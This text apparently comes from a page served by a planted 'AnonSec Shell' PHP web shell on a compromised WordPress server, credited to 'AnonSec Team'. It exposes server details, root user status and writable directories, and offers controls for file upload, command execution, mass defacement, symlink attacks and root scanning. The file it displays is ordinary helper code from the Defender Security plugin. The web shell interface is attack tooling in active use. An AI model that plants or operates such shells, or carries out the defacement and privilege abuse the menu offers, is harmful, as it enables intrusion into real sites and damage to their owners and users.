AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.145.81.9   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/defender-security/src/helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/defender-security/src/helper/class-file.php
<?php
/**
 * File related helper utilities.
 *
 * @package WP_Defender\Helper
 */

namespace WP_Defender\Helper;

use WP_Error;

/**
 * Handles file related tasks.
 */
class File {

	/**
	 * Check is two files identical.
	 *
	 * @param  string $local_file  File path of the local file for content comparison.
	 * @param  string $remote_file  Url of the remote file for content comparison.
	 *
	 * @return bool|string|WP_Error If remote fetch fails return WP_Error object or
	 * true for identical file content or false for non-identical file content.
	 */
	public function is_identical_content( string $local_file, string $remote_file ) {
		wp_raise_memory_limit();

		$local_file_content = file( $local_file, FILE_IGNORE_NEW_LINES );

		$tmp = download_url( $remote_file );

		if ( is_wp_error( $tmp ) ) {
			return $tmp;
		}

		$remote_file_content = file( $tmp, FILE_IGNORE_NEW_LINES );

		wp_delete_file( $tmp );

		return $local_file_content === $remote_file_content;
	}

	/**
	 * Deny access for the provided directory.
	 *
	 * @param  string $directory  File path to the directory.
	 *
	 * @since 4.2.0
	 */
	public function maybe_dir_access_deny( string $directory ) {
		global $wp_filesystem;
		// Initialize the WP filesystem, no more using 'file-put-contents' function.
		if ( empty( $wp_filesystem ) ) {
			require_once ABSPATH . '/wp-admin/includes/file.php';
			WP_Filesystem();
		}
		$files = array(
			array(
				'base'    => $directory,
				'file'    => '.htaccess',
				'content' => 'deny from all',
			),
			array(
				'base'    => $directory,
				'file'    => 'index.html',
				'content' => '',
			),
		);

		foreach ( $files as $file ) {
			$file_path = trailingslashit( $file['base'] ) . $file['file'];
			if ( ! is_null( $file_path ) && ! file_exists( $file_path ) ) {
				$wp_filesystem->put_contents( $file_path, $file['content'] );
			}
		}
	}
}

Anon7 - 2022
AnonSec Team